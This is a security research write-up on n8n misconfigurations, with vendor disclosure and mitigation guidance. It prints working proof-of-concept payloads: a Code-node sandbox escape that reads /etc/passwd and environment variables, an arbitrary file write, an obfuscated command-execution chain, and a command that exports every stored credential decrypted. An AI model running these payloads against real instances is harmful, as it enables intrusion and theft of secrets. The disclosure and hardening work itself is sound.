[EN] N8Naked: exploring security misconfigurations in N8N
Por: Lucas William ,Lucas Hoffmann e Thiago Bispo
Introduction
In the second half of 2025, the Hakai DevSec team carried out an incursion into an environment using n8n, an automation and workflow orchestration platform used to integrate systems, execute tasks automatically, and enabling integration with AI services. In order to validate the platform’s controls, the team began a security analysis. As our mission is to protect our clients’ digital ecosystem, the team conducted an intense testing process.
Following access to the environment, it was possible to review the entire implemented configuration, from permissions and privilege levels to the created workflows and other utilized functionalities. This detailed diagnosis allowed for the identification of risks, opportunities for improvement, and guidelines for a more secure automation environmen
What is N8N and how does it work?
n8n is an open-source platform focused on process automation and system integration. It allows connecting services, APIs, databases, and internal applications through a visual interface composed of nodes, where each node represents a specific action.
Although it enables the creation of workflows without the need for programming, n8n natively supports JavaScript, which expands its potential and allows the integration of custom logic into the automation flow. It also has a beta version of Python with its code node, in addition to having a command execution node, known as Execute Command. What makes n8n especially interesting, including for analyzing unexpected behavior or validating secure workflow scenarios, is the flexibility offered by the platform itself. As it is an open-source solution, its source code is fully auditable, allowing for a deep understanding of how each component works. This facilitates security studies, the creation of isolated environments for testing, and the investigation of possible attack vectors, such as command injections in automated workflows.
Furthermore, n8n can also be run in a self-hosted manner, whether on private servers, Docker containers, or Kubernetes clusters, ensuring greater security, data, and isolation of experiments. Although these characteristics are not a direct consequence of being open source, they complement each other and make n8n a very robust platform for both automations and security analysis.
The combination of flexibility, low cost, and operational autonomy makes n8n a popular choice for teams looking to accelerate integrations and automate routines. At the same time, this freedom brings responsibilities: If poorly configured, n8n can become a sensitive point within the infrastructure.
What are the possible security risks in N8N?
When integrated into a client’s environment, N8N typically needs to access sensitive elements such as credentials, internal APIs, databases, cloud services, and critical automations. These accesses are required for it to function, but they also increase the attack surface if the environment is not configured properly.
Among the main security risks are:
- Credential leakage
Insecure storage, exposed logs, poorly managed environment variables, or shared workflows can reveal passwords, tokens, or API keys. - Unauthorized code execution or unauthorized actions
Vulnerabilities, improper permission configurations, or workflows that process unvalidated inputs can allow command execution, resource manipulation, or even pivoting within the internal network. - Automation of incorrect decisions
A poorly designed, tampered, or exploited workflow can make wrong decisions that directly affect critical systems from creating and deleting resources to triggering integrations with severe side effects. - Escalation and lateral movement
If an attacker gains access to the dashboard or to a compromised workflow, they can use stored credentials to access other internal services, expanding the impact within the environment.
These risks do not come from N8N itself alone, but from the combination of sensitive access + poor configuration + insecure workflows, reinforcing the need for robust security practices when using it.
Security failures in N8N caused by misconfiguration
4.1. Discovering Path Traversal
Before getting into the analysis, it’s important to understand that N8N executes its code nodes inside an isolated environment called a sandbox.
A sandbox is a security mechanism used to run code in a controlled way, limiting access to operating system resources, internal modules, and potentially dangerous calls. The idea is to prevent malicious (or simply poorly written) code from accessing sensitive files, executing arbitrary commands, or interfering with other parts of the application.
In N8N, this isolation is implemented through a JavaScript sandbox that restricts:
- access to the filesystem;
- creation of processes;
- dangerous Node.js functions;
- internal modules that could enable environment escape;
- direct interactions with the host machine.
This approach provides an additional layer of security, ensuring that automated workflows cannot, by default, perform critical operations outside the allowed scope.
With this in mind, when N8N allows the creation of code nodes to automate anything from simple tasks like sending a message to more advanced actions such as file manipulation and data processing, a natural question arises: how secure is this sandbox? And, more importantly, what are the real execution limits of the code running inside it?
To answer that, the Secure Development team at Hakai (BugBusters) decided to deepen the security analysis of these code nodes. The goal was to understand, in detail, how the execution mechanism works, what protections actually exist, and whether it would be possible to escape the sandbox to exploit the environment including investigating scenarios such as Path Traversal and unauthorized file access.
With a focus on identifying weaknesses, the team began crafting different code snippets to test whether it would be possible to arbitrarily access internal files, including sensitive environment variables or even system files such as /etc/passwd.
The main goal was to determine how effectively N8N’s sandbox truly isolates the user, and whether the environment exposed by the code node would still allow, in some way, access to the filesystem or internal resources of the container. The idea was straightforward: if a user is allowed to write JavaScript code, what exactly prevents that code from escaping the limits imposed by the platform?
It was confirmed that certain internal files could be read from within the code node, as demonstrated in the example below.

Figure 1 – Output do arquivo passwd do linux.

Figure 2 – Output das variáveis de ambiente.
const fn = []["constructor"]["constructor"];
const codigo = `
return new Promise(async (resolve) => {
try {
const stream = await helpers.createReadStream('/proc/self/environ');
const chunks = [];
stream.on('data', chunk => chunks.push(chunk));
stream.on('end', () => {
const content = Buffer.concat(chunks).toString('utf8');
const envVars = content.split('\\0').filter(x => x);
resolve(envVars);
});
stream.on('error', err => resolve({ error: err.message }));
} catch(e) {
resolve({ catchError: e.message });
}
});
`;
return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Code snippet 1 – PoC payload for Path Traversal.
The team began exploring classic sandbox-evasion techniques used in partially restricted JavaScript environments. One of these techniques involves dynamically retrieving the global Function constructor, even when it is not directly accessible or when the environment attempts to hide it. This approach is well-known and has appeared in several sandbox escapes over the years.
In the case of N8N, it was enough to use the expression [“constructor”][“constructor”] to gain access to the global Function constructor without explicitly referencing it in the code. This payload was the initial key that allowed the creation of arbitrary functions from text, bypassing superficial filters and opening the door to more aggressive testing.
From that point on, the team began investigating which internal objects were accessible inside the code node. An important discovery was that the environment exposed the helpers object, which in turn offered utility functions including the ability to create read streams, a mechanism for reading files or data gradually in chunks instead of loading everything into memory at once.
They allow processing content continuously and efficiently, especially useful for large files or operations that need to be handled as a stream, directly from the filesystem. This API, seemingly harmless for internal platform operations, ultimately became the direct vector for arbitrary file reading.
In other words, if an attacker manages to inject code capable of accessing helpers.createReadStream, the impact becomes significant because the sandbox, which is logically isolated, ends up allowing the attacker to read any file accessible by the N8N process itself, such as environment variables, configuration files, sensitive data, and even the classic /etc/passwd.
With these pieces connected, the team developed the final payload referenced below. The code begins by retrieving the Function constructor indirectly, ensuring that the environment cannot block direct access. Next, it dynamically builds a function whose content is provided as a string. This function returns a Promise that, when executed, attempts to create a read stream pointing directly to the file /etc/passwd.
The reading is done in chunks, all accumulated into a buffer and later converted to UTF-8 text. In the end, the complete content of the file is returned as the node’s output, which can be displayed in the N8N interface or forwarded to any other part of the workflow, including external destinations if subsequent automation nodes exist.
const fn = []["constructor"]["constructor"];
const codigo = `
return new Promise(async (resolve) => {
try {
const stream = await helpers.createReadStream('/etc/passwd');
const chunks = [];
stream.on('data', chunk => chunks.push(chunk));
stream.on('end', () => {
const content = Buffer.concat(chunks).toString('utf8');
resolve(content);
});
stream.on('error', err => resolve('Error: ' + err.message));
} catch(e) {
resolve('Catch error: ' + e.message);
}
});
`;
return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Code snippet 2 – PoC payload for Path Traversal..
In practice, this means that any user with access to the code node can, even without elevated permissions, exploit gaps in the sandbox to access internal files inside the container. Once an attacker is able to read files such as .env, private keys, authentication secrets, or configuration information, they can escalate the attack, compromise connected services, and even take control of sensitive workflows within the organization. The payload worked because the process running N8N has normal read permissions over these files and because the platform inadvertently exposes functions that allow direct manipulation of the filesystem.
This behavior is not uncommon in automation platforms that offer scripting environments, but it represents a substantial risk when not combined with proper isolation. If the code execution environment is not truly isolated, for example running in a dedicated container with reduced permissions and without exposed internal APIs, vulnerabilities of this kind become unavoidable. The very possibility of dynamically constructing functions with Function or similar mechanisms, combined with access to internal utilities such as helpers, creates a scenario that is favorable for escapes and the reading of sensitive files.
The discovery served as an important warning, reinforcing that automation environments that allow arbitrary JavaScript execution need additional layers of security and restrictions. Even when the sandbox appears secure at first glance, details such as exposed helper APIs, filesystem permissions, or gaps in code validation can be enough to completely break isolation and allow attacker escalation. By the end of the tests, the team was able to confirm that it was possible to read internal container files arbitrarily, clearly demonstrating the issue.
4.2. Arbitrary File Write
In the second stage of the research, the team built a payload capable not only of reading but also writing arbitrary files inside the N8N container. The structural logic of the code follows the same pattern as the previous exploit. First, the global Function constructor is retrieved through the expression [][“constructor”][“constructor”], which allows compiling a function from text and bypassing traditional sandbox restrictions. Inside this dynamic function, the key difference is the explicit use of the internal function helpers.writeContentToFile, which, although designed for internal platform features, ended up allowing arbitrary writes to the filesystem.
The payload prepares the content of a small shell script directly as a string. This script contains simple commands such as id and cat, used only to demonstrate that the file was not only created but can also store custom instructions defined by the attacker. Then, the writeContentToFile function writes the script to the path /tmp/exploit.sh, a directory typically accessible in Linux containers. From a technical perspective, this means the attacker is no longer just a passive reader of the environment and now has the ability to modify the internal state of the container.
The final part of the payload attempts to open the newly created script through helpers.createReadStream. This section does not execute the script directly, but it is used here for two reasons. First, to validate that the file was indeed created successfully. Second, because in some internal N8N configurations, certain flows or integrations may end up triggering files manipulated in this way, resulting in indirect execution. Even without relying on this behavior, the simple fact that a user can create arbitrary files, including files marked as executable scripts, already demonstrates a clear compromise of the environment’s integrity.
const fn = []["constructor"]["constructor"];
const codigo = `
return new Promise(async (resolve) => {
try {
const script = '#!/bin/sh\\nid > /tmp/pwned.txt\\ncat /tmp/pwned.txt';
await helpers.writeContentToFile('/tmp/exploit.sh', script);
createReadStream
const stream = await helpers.createReadStream('/tmp/exploit.sh');
resolve({ step: 'created' });
} catch(e) {
resolve({ error: e.message });
}
});
`;
return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Code snippet 3 – PoC payload for Arbitrary File Write.

Figure 3 – Writing a file on the server.
Figure 4 – Demonstrating the file written to the N8N image.
The sandbox not only fails to prevent reading but also allows user-controlled file writing. This turns the risk from a simple information exposure into a real surface for persistence, internal manipulation, and even preparation for remote command execution in scenarios where auxiliary components are vulnerable or misconfigured.
4.3 RCE in N8N??
Even with all the limitations imposed by the Code Node sandbox, the secure development team joined forces with Vivaldo Chagas (Red Team operator) and decided to go beyond the file-reading and file-creation tests, starting an investigation into whether it would be possible to achieve some level of remote command execution. Despite the restricted environment, there was still an interesting gap:
const fn = []["constructor"]["constructor"];
const codigo = `
return new Promise(async (resolve) => {
try {
const payload = Buffer.from(`
const cp = require('child_process');
cp.execSync('id > /tmp/pwned.txt');
`).toString('base64');
await helpers.writeContentToFile('/tmp/payload_b64.txt', payload);
const decoder = `#!/bin/sh
PAYLOAD=$(cat /tmp/payload_b64.txt | base64 -d)
echo "$PAYLOAD" > /tmp/decoded.js
node /tmp/decoded.js
`;
await helpers.writeContentToFile('/tmp/decoder.sh', decoder);
const executeScript = `sh /tmp/decoder.sh`;
await helpers.writeContentToFile('/tmp/execute_now.txt', executeScript);
await helpers.createReadStream('/tmp/decoder.sh');
await new Promise(r => setTimeout(r, 3000));
try {
const outStream = await helpers.createReadStream('/tmp/pwned.txt');
const outChunks = [];
await new Promise((res, rej) => {
outStream.on('data', chunk => outChunks.push(chunk));
outStream.on('end', res);
outStream.on('error', rej);
});
const output = Buffer.concat(outChunks).toString('utf8');
resolve({ command_output: output });
} catch(e) {
resolve({ error: 'Check /tmp/decoded.js and run: sh /tmp/decoder.sh' });
}
} catch(e) {
resolve({ error: e.message });
}
});
`;
return fn(codigo)().then(resultado => [{ json: { resultado } }]);
Code snippet 4 – PoC RCE payload.
The Function constructor, which in theory should have been isolated, could still be retrieved indirectly. From that point, it became possible to run arbitrary JavaScript outside the intended protections.
After many experiments, adjustments, and discarded payloads, the team managed to assemble a functional proof of concept. The idea was relatively simple: create a persistent shell script inside the container that periodically executed a command (id) and wrote the result to a file inside /tmp. In addition to that, several “triggers” were created, small .sh files with different ways of invoking this script, attempting to increase the chances that at least one of them would be executed by the environment.
The payload then waited a few seconds and attempted to read the output file, trying to confirm that the command was indeed being executed.

Figure 5 – Payload that creates a file and executes a command.

Figure 6 – Output of the command execution
In the initial tests, it was possible to execute commands in a limited way inside N8N, but the behavior proved inconsistent. The same payload worked in the first two executions and then stopped producing output, indicating intermittent behavior in the sandbox.
Because this stage of the analysis was exploratory and lacked structured logs, it was not possible to precisely identify under which conditions the execution worked or what error occurred when it failed. For that reason, later stages focused on more controlled tests and systematic evidence collection to better understand the limits and restrictions of the sandbox.
In the end, what was found was a scenario that is at least concerning. Although the sandbox attempted to restrict critical actions, it was not consistent. Under certain circumstances, it allowed not only arbitrary file writing inside the container but also the execution of commands through persistent scripts.
4.4 CVE denied…
Although the behavior observed is not officially classified as a vulnerability (CVE) by the N8N project, it highlights a critical security issue. Running the code node without proper isolation can allow arbitrary reading and writing of files inside the container. According to the N8N team, the safe use of this feature depends on enabling a “task executor,” which isolates the code in a separate environment. However, this mechanism is not enabled by default and is still treated as an optional feature.

Figure 7 – Response from the N8N developers.
Hi and thank you for your report We are aware of the security issues in the Code node when not using task runners. Hence we recommend using a Task runner for more secure and performant code node execution. We will remove the insecure option in an upcoming v2 release.
In practice, this means that N8N instances configured only with the default settings recommended in the documentation remain exposed. Since the insecure mode is still available and widely used in the community, the attack surface becomes part of the platform’s actual behavior rather than a hypothetical scenario.
This context reinforces a fundamental point: automation platforms capable of executing arbitrary code should not rely on optional configurations to ensure isolation. When the environment allows workflows to access the filesystem by default, any compromised workflow or even a poorly configured one can become a significant attack vector. Therefore, even if the project does not classify this behavior as a formal vulnerability, it represents a real risk in environments that use N8N without the task executor enabled.
Incorrect security settings on the N8N
The N8N documentation presents security practices; therefore, we will present in a clearer way the impact of incorrect configurations and bad practices, demonstrating their respective mitigations.
During the security testing period on N8N, the DevSec team identified the possibility of adding the “Execute Command” node to a workflow. This functionality allows the execution of commands directly in the pod where the workflow is executed, and it is enabled by default in N8N, allowing users with “member” permission, the lowest possible permission level, to remotely execute commands in the Pod.
Figure 8 – N8N flow for PoC named “Appsec Security Test”.
In this node, the “Command” parameter was defined, which is passed to the Pod and executed when clicking “Execute step”. This allows for the execution of commands and the reading of log files containing information that often shouldn’t be accessible. It’s important to remember that all commands executed in the Pod are run by default by the Node’s user, as illustrated in the figure below.
Figure 9 – PoC Remote Command Execution (Default Privilege User to RCE)
As proof of the concept presented earlier, we can visualize file reading via command execution through the Execute Command node. With this, we can leverage the absence of validation for the commands that can be executed to read environment variables, among other configuration files or logs presenting sensitive information.
Figure 10 – Environment variable reading permitted by the “node” user.
In the client environment where the tests were performed, key information was acquired from the environment variables, including Database information, AWS Tokens, and the N8N Encryption Key.
It is important to note that the specific information obtainable is situational. However, it is crucial to emphasize that N8N, by default, permits the node user to read the environment variables (env).
Figure 11 – presenting the main findings for an attacker identified in the environment.
Highlighting the N8N Encryption Key as something valuable, let’s understand:
- What is it?
- How does it work?
- What risks does its exposure pose?
The N8N Encryption Key is the key that protects all credentials stored by N8N. With it, the system encrypts and decrypts passwords, tokens, and API keys in the database. If this key leaks, an attacker can read all encrypted credentials, even without access to the N8N panel, by simply having database read access or access to the encryption key. This can lead to undue access to internal services, lateral movement, execution of privileged actions, and persistence creation. Therefore, its exposure represents a critical risk and requires immediate key rotation and replacement of all affected credentials.
Figure 12 shows the dump of credentials stored in N8N’s internal vault, (PoC – Proof of Concept):
Figure 12 – PoC of decrypting the credentials present in the n8n vault via N8N_ENCRYPTION_KEY
The payload used to obtain this result was:
n8n export:credentials --all --decrypted --output=/home/node/.n8n/decrypted-creds.json
Figures 13 and 14 show the sequence of the command used for reading the decrypted credentials that were stored in the /home/.n8n/decrypted-creds.json directory of N8N’s internal vault, and its output:
Figure 13 – Command used to read decrypted-creds.json.
Figure 14 – Reading and exfiltration of credentials present in the n8n safe.
Reading the credentials previously extracted from the vault, leveraging the OUTPUT functionality in JSON format to easily exfiltrate the file content to the local machine, aiming to store and facilitate the reading of these Secrets. It is important to emphasize that the node user has read and write access to /home/node/.n8n/, and the attack was only possible thanks to the N8N_ENCRYPTION_KEY being present in the environment variables env.
If the N8N Encryption Key is not in the environment variables but you have access to it, the node user can export it and perform the same exploitation. The Payload follows:
export N8N_ENCRYPTION_KEY="KEY" && n8n export:credentials --all --decrypted --output=/home/node/.n8n/decrypted-creds.json
During the exploration of the remote command execution in N8N, a log file was also identified at the path: /home/node/.n8n/n8nEventLog-worker.log. This file exposes information about workflows that a low privilege user should not be able to view, demonstrating that even with the lowest privilege and without access to the workflows, it was already possible to obtain sensitive internal data, as shown in the figures below:

Figure 15 – PoC Information Disclosure in the n8nEventlog-worker.log log file
Relevant information to be objectively clarified about n8nEventlog-worker.log:
- The file is standard in N8N when the worker component is enabled.
- It registers the worker’s internal events (executions, errors, and statuses).
- It is stored in the ~/.n8n directory of the user running the process (by default, the node user).
- It can contain sensitive information.
- It does not exist when you run n8n start without queue/worker mode.
Reading this log file resulted in sensitive information about the created workflows. This access even facilitates the comprehension of the use cases for the credentials extracted from the N8N vault using the encryption key. In the test, it was possible to acquire budgetary and contractual information.
Mitigations and Controls
The use of helper functions utilizes the context of the main N8N instance, which implies that all code, operations, and integrations are executed within the same process and on the same server as the N8N Core.
To isolate the environment where helper functions and workflows are executed, it is recommended to use Task Runners. This prevents malicious payloads, potentially insecure files, or untrusted integrations from compromising the main N8N instance.
The configuration of Task Runners is done via a .yaml file, and it’s important to adhere to best practices to avoid leaving the runner environment vulnerable:
- The Docker socket should not be available within the containers or machines that run N8N Runners. Exposing the socket grants full control over the host, presenting a critical risk of privilege escalation and total environment compromise.
- Runners must operate with a minimum allowed set of libraries, utilizing the allowlist variables made available by N8N.
Example of an allowlist for Javascript runners:
NODE_FUNCTION_ALLOW_BUILTIN="crypto"
NODE_FUNCTION_ALLOW_EXTERNAL="moment,uuid"
Example of a allowlist for Python runners:
N8N_RUNNERS_STDLIB_ALLOW="json"
N8N_RUNNERS_EXTERNAL_ALLOW="numpy,pandas"
For the mitigation of command execution, and reading and writing on the N8N environment’s disk, restrict the following nodes by adding the environment variable env:
NODES_EXCLUDE: "["n8n-nodes-base.executeCommand", "n8n-nodes-base.readWriteFile"]"
Further details for implementing these controls can be viewed directly in the N8N documentation: https://docs.n8n.io/hosting/securing/blocking-nodes/
To mitigate the risks of the N8N_ENCRYPTION_KEY exposure, we need to ensure more secure storage, which means preventing the node user or any other unprivileged user from having direct access to the key’s value. For this, the recommended method is to use an EnvironmentFile protected by root and loaded by systemd.
Create a dedicated file for the key:
sudo mkdir -p /etc/n8n
echo 'N8N_ENCRYPTION_KEY=sua_chave_aqui' | sudo tee /etc/n8n/encryption.env > /dev/null
sudo chmod 600 /etc/n8n/encryption.env
Next, configure the service:
sudo systemctl edit n8n
Add:
[Service]
EnvironmentFile=/etc/n8n/encryption.env
Finish:
sudo systemctl daemon-reload
sudo systemctl restart n8n
In this way, the key remains stored in an isolated configuration file, with restricted permissions, outside the N8N directory, and is automatically loaded by systemd at runtime, ensuring both persistence and security.
N8N Configuration Best Practices
As security best practices in N8N, according to the official documentation, it is recommended to implement the following configurations and patches.
Disable Public API: It exposes sensitive endpoints, is rarely necessary, and increases the attack surface and impact. By turning it off, the instance becomes simpler, besides reducing the future attack surface since N8N is a recent project.
Restrict unused nodes: This means restricting all nodes from your instance that are not necessary for current workflows. This is done by configuring the environment variable NODES_EXCLUDE. This is important because, aiming to reduce the attack surface, fewer nodes equate to fewer exposed functionalities that can be abused. Preventing the misuse of dangerous nodes (like Execute Command, Code, SSH, etc.) ensures they cease to exist in the interface for any user.
Use SSL/TLS: Using SSL/TLS in N8N is essential to prevent man in the middle attacks. Without encryption, an attacker can intercept and alter traffic between the user and N8N, capturing credentials, tokens, and sessions, or even modifying commands and data being sent. With TLS, the content is protected, and message integrity is guaranteed, preventing anyone in the path from reading or manipulating what is being transmitted.
Enable SSO and 2FA: This significantly strengthens access control. SSO centralizes authentication, ensuring that only users verified by a trusted provider enter the platform, and allows corporate policies to be applied, such as password rotation, account blocking, and unified monitoring. 2FA adds a second layer of verification beyond the password, making it difficult for an attacker to access N8N even if they obtain valid credentials. Together, SSO and 2FA reduce the risk of account compromise, strengthen operational security, and increase protection against credential based invasions.
Minimum Privileges and Auditing via security audit in N8N: Applying the principle of least privilege in N8N ensures that each user only has access to what they truly need, reducing the impact of errors, abuse, or compromised accounts. This limits the attack surface and prevents critical actions from being executed by those who shouldn’t. Complementarily, performing frequent scans with N8N’s security audit helps identify insecure configurations, exposed credentials, and enabled sensitive nodes, allowing flaws to be corrected before they are exploited. Together, these practices keep the platform safer, controlled, and resilient to incidents.
Do not expose sensitive content in the environment: Variables such as encryption keys (N8N_ENCRYPTION_KEY) and tokens should not be accessible in the standard N8N environment, as they can be read by unauthorized users or processes. Keeping this data out of the environment reduces the risk of leakage, and preventing accidental exposure is indispensable for strengthening the instance’s security.
Perform frequent Patch Management: Apply security updates to N8N, dependencies, and the OS continuously to mitigate exploitable CVEs. Patches reduce RCE, LPE, and credential leakage vectors, besides closing zero days that affect exposed services. Automating the detection and application of updates keeps the attack surface minimal and reduces the time of exposure to known vulnerabilities.
Conclusion
A detailed security analysis demonstrated that running n8n under its default configurations creates a critical and exploitable attack surface for low-privileged users. The vulnerability lies in the inadvertent exposure of code and command execution capabilities, violating the principle of least privilege.
The most concerning attack vector involves the combined exploitation of the Code Node, which can bypass the sandbox (allowing Path Traversal and limited RCE), and, crucially, the default activation of the Execute Command Node. This combination allows for direct Remote Code Execution (RCE), resulting in the leakage of crucial environment variables, such as AWS tokens, database information, and, most devastatingly, the N8N_ENCRYPTION_KEY.
The compromise of this cryptographic key is the peak failure, enabling the decryption of all stored credentials within the n8n vault. This scenario transforms an information exposure into a total access compromise of all integrated third-party services connected to the platform.
The security maxim must be defensive-by-default. To mitigate this fundamental risk and ensure the integrity of the n8n environment, it is imperative to adopt a proactive stance that prioritizes isolation and restriction:
- Execution Isolation: It is essential to enable and configure dedicated Task Runners to isolate workflow code execution from the main n8n process, neutralizing attempts at sandbox escape and RCE.
- Functional Access Control: A strict policy must be applied to restrict or disable high-risk nodes, such as Execute Command and ReadWriteFile, limiting their use to strictly audited and trusted workflows and users.
- Critical Secrets Protection: The N8N_ENCRYPTION_KEY must never be easily accessible via process-exposed environment variables. Its storage should be migrated to a Secret Management System (KMS/Vault) or a root-protected EnvironmentFile, preventing its reading even in the event of RCE within the main container.
Only by adopting measures that go beyond factory settings, prioritizing privilege restriction and resource isolation, is it possible to use n8n as a flexible and powerful automation platform without exposing the underlying infrastructure to unacceptable risks of data leakage or privilege escalation.
References
-
Securing n8n – n8n Documentation
https://docs.n8n.io/hosting/securing/overview/ -
Read/Write Files from Disk – n8n Documentation
https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.readwritefile/ -
API Reference – n8n Public API References
https://docs.n8n.io/api/api-reference/ -
Disable the public REST API – n8n Documentation
https://docs.n8n.io/hosting/securing/disable-public-api/ -
Block access to nodes – n8n Documentation
https://docs.n8n.io/hosting/securing/blocking-nodes/ -
Nodes environment variables – n8n Documentation
https://docs.n8n.io/hosting/configuration/environment-variables/nodes/ -
Security Audit – n8n Documentation
https://docs.n8n.io/hosting/securing/security-audit/




